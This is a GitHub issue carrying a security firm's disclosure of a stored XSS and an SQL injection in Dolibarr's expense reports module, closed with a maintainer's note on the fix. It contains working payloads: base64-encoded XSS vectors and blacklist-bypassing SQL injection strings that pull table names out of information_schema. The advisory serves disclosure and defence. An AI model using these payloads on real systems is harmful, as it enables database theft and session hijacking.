Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Versions < 7.X] Disclosure of [CVE-2018-16809] SQL injection + [CVE-2018-16808] multiple XSS in expense reports #9449

Closed
ACKNAK-Tools opened this Issue Sep 9, 2018 · 1 comment

Comments

Projects
None yet
2 participants
@ACKNAK-Tools
Copy link

ACKNAK-Tools commented Sep 9, 2018

Just a ticket issue that is already solved as we discussed by email earlier. Since the vulnerabilities are fixed so we are disclosing the advisory..

As a reminder here are our mail discussion:

"""
Hello,

First, we apologize for the time we took to contact you back
(https://www.dolibarr.fr/forum/12-howto--aide/61141-vulnerabilites-critiques-versions-3-8-x-7-x#94096).

We have found 2 criticals vulnerabilities (SQL Injection + XSS Stored)
in the "expense reports" module of Dolibarr (from version 3.8.X to the
last release 7.X).

These vulnerabilities are described in the two .txt disclosures files
attached.

Please let us know if you have difficulties to reproduce the
vulnerabilities (you should use Burp as a proxy to edit easily the POST
requests). We can provide you screenshots so you'll be more aware of
what is happening.

Also we'd like to be informed when you'll have implement a fix for these
vulnerabilities (as the ones advised in the disclosures), so we can test
if the vulnerabilities are patched.

Once a proper fix will be released, we'd like to request 2 CVEs (SQLi
and XSS Stored) and we would appreciate if you can name us in two
separates disclosures/patchs.

Best regards,

--

chqrly, Erwan, Romain

DIGITEMIS CYBERSECURITY & PRIVACY
"""

Here is the first advisory about 2 two differents XSS stored in expense reports (one in the description of a new expense, the other one in the private && public note related to:

[CVE-2018-16808]

  1. ADVISORY INFORMATION
    =======================
    Product: Dolibarr
    Vendor URL: https://www.dolibarr.org
    Type: XSS Stored
    Date found: 2018-02-20

  2. CREDITS
    ==========
    This vulnerability was discovered and researched by Romain Koszyk, Erwan Robin, chqrly from DIGITEMIS CYBERSECURITY & PRIVACY.

  3. VERSIONS AFFECTED
    ====================
    Dolibarr v3.8.X (starting from the new "expense reports" module) to last versions (v7.0.X)

  4. INTRODUCTION
    ===============
    Dolibarr is an Open Source ERP & CRM for Business. The application manages sales, human resources, stocks, invoicing, billing, accounting, etc.
    The Open Source model gives them a lot of feedback which is a key factor to get a friendly user interface.

  5. VULNERABILITY DETAILS
    ========================
    Dolibarr v3.8.X (starting from the new "expense reports" module) to last versions (v7.0.X)
    offers the possibility to process billing if you decide to activate the module.
    The expense reports module is a critical module since it might be used by a lot. No modules are activated by default.
    When you are editing a billing at "/expensereport/card.php?id=$id_integer&action=editline&rowid=$rowid_integer", the POST parameters
    not sanitizing properly the parameters. In fact, the application is using a recursive call to an eregi() or a preg_match() regex to determine
    the legitimity of the query being processed. The strings parameters "comments" and the public & private note can be abused to store a XSS.
    A XSS can also be triggered in the integers parameters however that will fail due to the integers parsing,
    generating an error which leak technical details about the database. The leak is due to a default misconfiguration of the server gives us too the information details about the query failing,
    PHP's version, Dolibarr's version, Server, type of database, OS' version.

The impact of the XSS Stored is more critical since there are no protection of the users by default (cookies' attributes, CSRF token, etc.).

Two contexts where XSS were found, in the description billing line and in the private & public note (when you want to edit them while the payload is set):

PAYLOAD_DESCRIPTION=
2"><object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoJ1hTUycpPg==><td class="a

PAYLOAD_PRIVATE_AND_PUBLIC_NOTE=
</textarea><object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoJ1hTUycpPg==><textarea>

Payload explanation:
We escape from the current td or textarea entity to inject an object entity. We also need to create another td or textarea element since there is a or </textarea> to be associated with.
The base64 "PHN2Zy9vbmxvYWQ9YWxlcnQoJ1hTUycpPg==" stands for <svg/onload=alert('XSS')>
There are some filters used to block XSS like onload, onerror, etc. So using base64 still do the job, it is an example of many.

  1. RISK
    ========
    If exploited, that vulnerability can allow to steal an user session, even the super admin one is the super admin is designed as a validator of that billing.
    It can also used to make the users do unwilling actions on the application, exfiltrate private data to an unknown destination, etc.

  2. SOLUTION
    ===========
    Sanitized properly the query before processing the request.
    Don't rely on blacklist to protect the application.

It is recommended to use htmlentities($parameter, ENT_QUOTE | ENT_HTML5, "UTF-8", true);

  1. REPORT TIMELINE
    ==================
    2018-02-20: Discovery of the vulnerability
    2018-02-20: Explanation of the vulnerability
    2018-02-21: Determine all of the versions vulnerable to the exploit
    2018-03-09: Send full vulnerability details to the Dolibarr's developers
    2018-09-09: Disclosing the vulnerability on Github
    2018-09-11: CVE-2018-16808 assigned

And the advisory of the SQL injection in expense report:

[CVE-2018-16809]

  1. ADVISORY INFORMATION
    =======================
    Product: Dolibarr
    Vendor URL: https://www.dolibarr.org
    Type: UPDATE SQL Injection through Integer
    Date found: 2018-02-20

  2. CREDITS
    ==========
    This vulnerability was discovered and researched by Romain Koszyk, Erwan Robin, chqrly from DIGITEMIS CYBERSECURITY & PRIVACY.

  3. VERSIONS AFFECTED
    ====================
    Dolibarr v3.8.X (starting from the new "expense reports" module) to last versions (v7.X)

  4. INTRODUCTION
    ===============
    Dolibarr is an Open Source ERP & CRM for Business. The application manages sales, human resources, stocks, invoicing, billing, accounting, etc.
    The Open Source model gives them a lot of feedback which is a key factor to get a friendly user interface.

  5. VULNERABILITY DETAILS
    ========================
    Dolibarr v3.8.X (starting from the new "expense reports" module) to last versions (v7.X)
    offers the possibility to process billing if you decide to activate the module.
    The expense reports module is a critical module since it might be used by a lot. No modules are activated by default.
    When you are editing a billing at "/expensereport/card.php?id=$id_integer&action=editline&rowid=$rowid_integer", the POST parameters
    not sanitizing properly the parameters.In fact, the application is using a recursive call to preg_match regex to determine
    the legitimity of the query being processed. The integers parameters "qty", "value_unit" can be abused efficiently.

A default misconfiguration of the server (by default) gives us too the information details about the query failing,
PHP's version, Dolibarr's version, Server, type of database, OS' version.

That way we can exploit the SQL injection easier.

To protect against SQL injections / XSS, Dolibarr uses these functions in /htdocs/main.inc.php :

=> function test_sql_and_script_inject($val, $type)

=> function analyseVarsForSqlAndScriptsInjection(&$var, $type)

Having these function in /htdocs/main.inc.php suggests that these are supposed to protect the whole application against SQLi/XSS.
They are based on a blacklist (using preg_match) to detect a malicious code.
So please have a real look at the fix you implement since this vulnerability is spreading probably accross many modules.

Context of the current query exploited:

We are in the modification of a billing.

The UPDATE query is constructed that way:
UPDATE llx_expensereport_det SET
comments=$comment,value_unit=$value_unit,
qty=$quantity,date=$date,total_ht=$total_ht,
total_ttc=$total_ttc,tva_tx=$tva_tx,
fk_c_type_fees=$type_fees,fk_projet=$fk_projet
WHERE rowid=$rowid;

Indications about the query:

  • $date is composed of the parameters data_day, date_month, date_year and date as DD/MM/YYYY. Those date's parameters are reformated to 'YYYYMMDD000000' of install time
  • $total_ht, $total_ttc, $type_fees are server values calculated
  • $comment, $date, $fk_projet are strings values and seems to be properly escaped
  • $qty, $value_unit, $tva_tx are doubles.

Vulnerability was found abusing doubles parameters. There is a high possibility of injections in others types of parameters since using these functions to protect to protect the application is not enough.

Depending of the Dolibarr's version, we can either bypass the preg_match using an HTTP Parameters Fragmentation with at least 2 vulnerables parameters or with only one parameter by encoding some characters.

A working payload for an SQL Injection inside the modification of a billing line below version 7.X could be:

HTTP Parameters Fragmentation method with PAYLOAD_ONE and PAYLOAD_TWO
#####################################################################

UPDATE llx_expensereport_det SET comments=$comment,value_unit=PAYLOAD_ONE,qty=PAYLOAD_TWO,date=$date,total_ht=$total_ht,total_ttc=$total_ttc,tva_tx=$tva_tx,fk_c_type_fees=$type_fees,fk_projet=$fk_projet WHERE rowid=$rowid;

PAYLOAD_ONE=
(SEleCT(ascii(substring((Select(table_name)/*

PAYLOAD_TWO=
/fRom(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT*/0,1),1,1)))),qty=666

Payload explanation:
To avoid being caught by the insensitive case select.+from preg_match() regex, we split the payload into 2 parameters, those 2 parameters are doubles so spaces are removed from it. To keep having a working payload we have to abuse the use of (), /**/ and /!command/.

Putting together the two payloads, we have a final UPDATE query like:

UPDATE llx_expensereport_det SET comments=$comment,value_unit=(SEleCT(ascii(substring((Select(table_name)/,qty=/fRom(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),1,1)))),qty=666,date=$date,total_ht=$total_ht,total_ttc=$total_ttc,tva_tx=$tva_tx,fk_c_type_fees=$type_fees,fk_projet=$fk_projet WHERE rowid=$rowid;

As you can see the commented out $qty parameter is added at the end of the payload to let the UPDATE query still looks legitimate.
Basically what is doing the current payload is retrieving the 1st char of the 1st table_name in the database and getting the ascii value of it. We can iterate to grab the 2nd char, the next table, column and so on.

So if the 1st char of the 1st table is 'l' (like llx_something), we will see in the value_unit billing line the value 108 which is the ascii code of 'l'.

That kind of payload is also working in the last stable version 7.0.
However we also noticed a more efficient method in the last one.

It is possible in version 7.0 we can bypass the preg_match filter by encoding some characters allowing us to only use one parameter.

Only one parameter method
#########################

UPDATE llx_expensereport_det SET comments=$comment,value_unit=$value_unit,qty=PAYLOAD,date=$date,total_ht=$total_ht,total_ttc=$total_ttc,tva_tx=$tva_tx,fk_c_type_fees=$type_fees,fk_projet=$fk_projet WHERE rowid=$rowid;

We also optimized the characters search, with that payload we can retrieve 5 characters per request:

PAYLOAD=
(SEleCT(ascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),1,1))%2aPOW(256,0)%2bascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),2,1))%2aPOW(256,1)%2bascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),3,1))%2aPOW(256,2)%2bascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),4,1))%2aPOW(256,3)%2bascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),5,1))%2aPOW(256,4)))

The bypass is made on fRom by encoding the 'o' as its hexadecimal equivalent '6f'.

The payload is injected in the $qty parameter, it will holds the value of the ascii(1st_char) * 256^0 + ascii(2nd_char) * 256^1 + ascii(3rd_char) * 256^2 + ascii(4th_char) * 256^3 + ascii(5th_char) * 256^4

So using this payload we see that we retrieved the value 418213555308 in quantity.

To get the chars of it, we just use a binary mask:
(418213555308 >> 0) & 0b11111111 => 108 ('l')
(418213555308 >> 8) & 0b11111111 => 108 ('l')
(418213555308 >> 16) & 0b11111111 => 120 ('x')
(418213555308 >> 24) & 0b11111111 => 95 ('_')
(418213555308 >> 32) & 0b11111111 => 108 ('a')

So the first table_name has a name starting with 'llx_a'.

  1. RISK
    ========
    If exploited, that vulnerability can allow to retrieve hash password, update billing that have already been accepted, retrieve files contents, retrieve the content of the whole database (tables, columns).

  2. SOLUTION
    ===========
    Sanitized properly the query before processing the request, don't rely on preg_match protection, use prepared statements in the best of case or use this implementation:

$db_link = mysqli_connect("localhost", "user", "password", "db");

if (!$db_link) {
printf("Connection to the database failed: %s\n", mysqli_connect_error());
exit();
}

$sanitized_parameter = mysqli_real_escape($db_link, $string_to_escape);

// That way we don't need to rely on blacklist preg_match

mysqli_query($db_link, "UPDATE .......... qty='$sanitized_parameter'...");

  1. REPORT TIMELINE
    ==================
    2018-02-20: Discovery of the vulnerability
    2018-02-20: Explanation of the vulnerability
    2018-02-21: Development of the exploit code
    2018-02-21: Determine all of the versions vulnerable to the exploit code
    2018-03-09: Send full vulnerability details to the Dolibarr's developers
    2018-09-09: Disclosing the vulnerability on Github
    2018-09-11: CVE-2018-16809 assigned

DIGITEMIS CYBERSECURITY & PRIVACY
https://www.digitemis.com

This ticket will be updated once the CVE will be asigned, thanks and keep up the good work !

@ACKNAK-Tools ACKNAK-Tools changed the title [Versions < 7.X] Disclosure of SQL injection + multiple XSS in expense reports [Versions < 7.X] Disclosure of [CVE-2018-16808] SQL injection + [CVE-2018-16809] multiple XSS in expense reports Sep 11, 2018

@ACKNAK-Tools ACKNAK-Tools changed the title [Versions < 7.X] Disclosure of [CVE-2018-16808] SQL injection + [CVE-2018-16809] multiple XSS in expense reports [Versions < 7.X] Disclosure of [CVE-2018-16809] SQL injection + [CVE-2018-16808] multiple XSS in expense reports Sep 11, 2018

@eldy

This comment has been minimized.

Copy link
Member

eldy commented Nov 11, 2018

With 7.0.1 and +, the field qty is now sanitized with
$qty = GETPOST('qty','int');
So if qty is not numeric, value is completely refused.

For second point, Description/Comment is now escaped with dol_escape_htmltag so payload has now no negative effect.

@eldy eldy closed this Nov 11, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.